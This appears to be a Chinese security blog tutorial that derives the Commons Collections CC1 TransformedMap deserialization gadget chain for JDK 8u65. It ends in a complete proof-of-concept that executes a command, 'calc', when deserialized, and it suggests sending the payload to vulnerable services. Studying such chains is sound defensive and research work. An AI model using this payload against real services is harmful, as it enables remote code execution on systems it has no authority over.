Apache Commons Collections 1 TransformedMap

Apache Commons Collections 1 TransformedMap

Apache Commons Collections 是一个广泛使用的 Java 库,提供了丰富的集合框架扩展和实用工具。然而,它也因其在 Java 反序列化攻击中的广泛应用而受到关注。特别是,Commons Collections 库中的某些类可以被恶意利用,导致任意代码执行。

环境设置

jdk版本 jdk-8u65-windows-x64

commons-collections 3.2.1

java命令执行

1
2
3
4
5
6
7
8
9
package org.example;

import java.io.IOException;

public class Main {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}

通过runtime的Class对象 反射执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// Runtime.getRuntime().exec("calc");
Class<Runtime> runtimeClass = Runtime.class; //获取 runtime的Class对象
Method getRuntime = runtimeClass.getMethod("getRuntime"); //通过反射 获取 getRuntime
Runtime r = (Runtime)getRuntime.invoke(null, null); //通过反射额获取Runtime对象实例
Method exec = runtimeClass.getMethod("exec", String.class); //通过反射获取exec方法
exec.invoke(r,"calc"); //反射调用exec方法


}
}

利用链

反序列化链的本质就是要找重写了readObject()方法并且可序列化的入口点,也就是链子的头部;还有可以执行命令的危险方法 作为尾部;最后用不同类的同名函数将头部和尾部串联起来。

寻找链的顺序就是先找尾部,然后往前找readobject头部。现在从尾部进行解读

InvokerTransformer

image-20250806181237039

通过构造函数传入参数,再进行反射调用

反射命令执行

1
2
3
4
5
6
7
public class transform {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
invokerTransformer.transform(runtime);
}
}

image-20250806181810971

可以成功执行,接下来找transform函数的调用点

TransformedMap

TransformedMap类找到checkSetValue函数进行调用

image-20250806182102861

往上可以找到decorate函数返回一个TransformedMap对象

image-20250806182301183

因为checkSetValue是保护方法,通过反射调用

开始构建poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class transform {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
// invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
Class<? extends Map> transformedMapClass = transformedMap.getClass();
Method checkSetValue = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValue.setAccessible(true);
checkSetValue.invoke(transformedMap, runtime);
}
}

//创建transformedMap对象,调用checkSetValue函数,传入runtime对象,因为valueTransformer参数可控,传入了invokerTransformer对象,所以会调用invokerTransformer的transform方法,等价于invokerTransformer.transform(runtime)

成功执行

image-20250806183659177

继续寻找主动调用checkSetValue方法的对象

AbstractInputCheckedMapDecorator

发现AbstractInputCheckedMapDecorator类的setValue方法会主动调用checkSetValue

image-20250806183812280

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

寻找setValue触发点

发现MapEntry内部类继承了AbstractMapEntryDecorator,并重写了setValue函数

image-20250806184439401

关于setValue

setValue() 可以调用的情况

  1. 必须通过 map.entrySet() 获取 Entry 对象(本质是获得map的所有键值对的,entry代表一对键值对)
  2. 不能直接在 Map 上调用setValue(),因为 Map 本身没有 setValue() 方法

Map.EntryMap 中的键值对对象,只有当 entry 通过 entrySet() 获取时,setValue() 才能被调用。

因此,构建增强型for循环

继续编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class setValue {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry entry : transformedMap.entrySet()){
entry.setValue(runtime);
}
}
}

//对transformedMap进行遍历,获得一个entry,使用setValue函数,因为transformedMap的父类AbstractInputCheckedMapDecorator重写了setValue函数,所以优先调用。当runtime对象传入setValue,就会调用checkSetValue,继而调用transform函数

成功执行

image-20250806185425564

继续寻找调用setValue函数的地方

sun/reflect/annotation/AnnotationInvocationHandler类中找到

AnnotationInvocationHandler

刚好还是在readObject方法里,符合反序列化调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

查看AnnotationInvocationHandler类构造方法

image-20250806185912066

发现需要两个参数

1
Class<? extends Annotation> type, Map<String, Object> memberValues

第一个是注解类型,第二个是Map类型

同时发现构造函数没有标明类型,默认为default,需要用反射访问

构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class readobject {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aClassConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
aClassConstructor.setAccessible(true);
Object o = aClassConstructor.newInstance(Target.class, transformedMap);
serialize(o);
deserialize();
}


public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}


public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
System.out.println(o);

}
}

//使用反射创建AnnotationInvocationHandler对象,并完成序列化和反序列化

此时无法完成命令执行

  1. Runtime对象无法被序列化
  2. 两个if条件还没有绕过,否则无法调用setValue
  3. 根据重写的readobject,setValue内的值不可控

Runtime对象无法被序列化问题

可以通过InvokerTransformer类的反射调用方式表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class test {
public static void main(String[] args) {

//获得getRuntime方法
//先通过Runtime.class.getMethod("getMethod",String.class,String[].class)获得getMethod方法
//再使用getMethod.invoke(Runtime.class,"getRuntime",null)获得getRuntime方法
Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}).transform(Runtime.class);

// 通过反射获取 Runtime 实例
//getRuntimeMethod 是 Runtime.class.getMethod("getRuntime") 返回的一个 Method 对象。
//它本质上代表了 Runtime.getRuntime() 这个静态方法(方法的“元信息”,不是方法调用)
// getRuntime.invoke(),getRuntime方法就已经绑定了Runtime类
// 等价Runtime.getRuntime()
//invokeMethod.invoke(getRuntimeMethod, new Object[]{null, null})=geRuntimeMethod.invoke(null, null)=Runtime.getRuntime()
Runtime runtime = (Runtime) new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{"getRuntime", null}).transform(getRuntimeMethod);
//调用exec方法
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);
}
}

成功通过InvokerTransformer反射调用,可被序列化

发现每个InvokerTransformertransform方法都是对前一个InvokerTransformer结果的调用。因此我们可以使用 org/apache/commons/collections/functors/ChainedTransformer进行递归调用

ChainedTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

//通过构造函数传入数组,再使用transform方法进行遍历以及结果递归

修改后的poc

1
2
3
4
5
6
7
8
9
10
11
public class chain {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
}
}

两个if条件绕过

第一个if

观察readobject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 获取注解类型中定义的成员(方法)及其对应的类型,比如 "value" -> String.class
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// 遍历所有注解成员的值(即用户传入的值)
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey(); // 成员名称,例如 "key"
Class<?> memberType = memberTypes.get(name); // 获取这个成员定义的类型

if (memberType != null) { // 如果这个成员仍然存在(不是被删掉的)
Object value = memberValue.getValue(); // 用户实际传入的值

// 如果值的类型不匹配,并且不是代理异常类型,就报类型不匹配异常
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
// 把这个不匹配的值包装成 AnnotationTypeMismatchExceptionProxy
// 并设置它对应的成员方法
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]"
).setMember(annotationType.members().get(name))
);
}
}
}

调试发现必须要通过Map的key值能查询到注解对应的成员变量名才能通过

image-20250806231849943

因此把Map的key改成注解的成员名就行

1
map.put("value", "value");

成功进入第二个if

image-20250806232311593

第二个if

memberType.isInstance(value) 是用来动态判断 value 是不是 memberType 类型的实例,简单的说就是判断传入的参数类型和定义的参数类型是不是一样的。显然不是,因此第二个if绕过

image-20250806232504730

setValue内的值不可控解决

在 org/apache/commons/collections/functors/ConstantTransformer.java

ConstantTransformer 输入类型 返回任何类型

ConstantTransformer

1
2
3
4
5
6
7
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

仅需在Transformer数组加上它,那么无论传什么值都会返回构造函数的参数

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("任意字符串");

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package cc1Test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {
//通过ChainedTransformer链式调用InvokerTransformer反射获得Runtime对象并执行命令
Transformer[] transformers = new Transformer[]{
//入口参数强制转换
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("任意字符串");
//构建TransformedMap对象调用InvokerTransformer.transform方法
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object,Object> transformedMap = (TransformedMap) TransformedMap.decorate(map, null, chainedTransformer);
//通过反射创建AnnotationInvocationHandler对象
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aClassConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
aClassConstructor.setAccessible(true);
Object o = aClassConstructor.newInstance(Target.class, transformedMap);
serialize(o);
deserialize();
}


public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}


public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
System.out.println(o);

}
}

流程图

image-20251204185045101

总结

我们把构造好的这条链子序列化之后,在有反序列化漏洞的服务传入,它会把我们构造好的链子反序列化,从而触发readobject()方法,由于我们在AnnotationInvocationHandler入口类的构造方法传入了用TransformedMap修饰过的map,在对map进行遍历的时候就会调用AbstractInputCheckedMapDecorator类的setValue(不可控参数)方法,它的方法内又会调用parent.checkSetValue(不可控参数)方法,parent.checkSetValue()由于遍历转换成了调用TransformedMap.checkSetValue(不可控参数),checkSetValue()会调用chainsedTransmer.transform(不可控参数),接着就是chainsedTransmer数组内的调用,
首先是ConstantTransformer.transform()->返回Runtime.class;等数组循环完就会成功执行命令Runtime.getRuntime().exec("calc");

参考链接

https://mp.weixin.qq.com/s/DvJ003gjnoEuv9zZ1xuZjw


Apache Commons Collections 1 TransformedMap
http://xiaowu5.cn/2025/12/04/Apache-Commons-Collections-1-TransformedMap/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU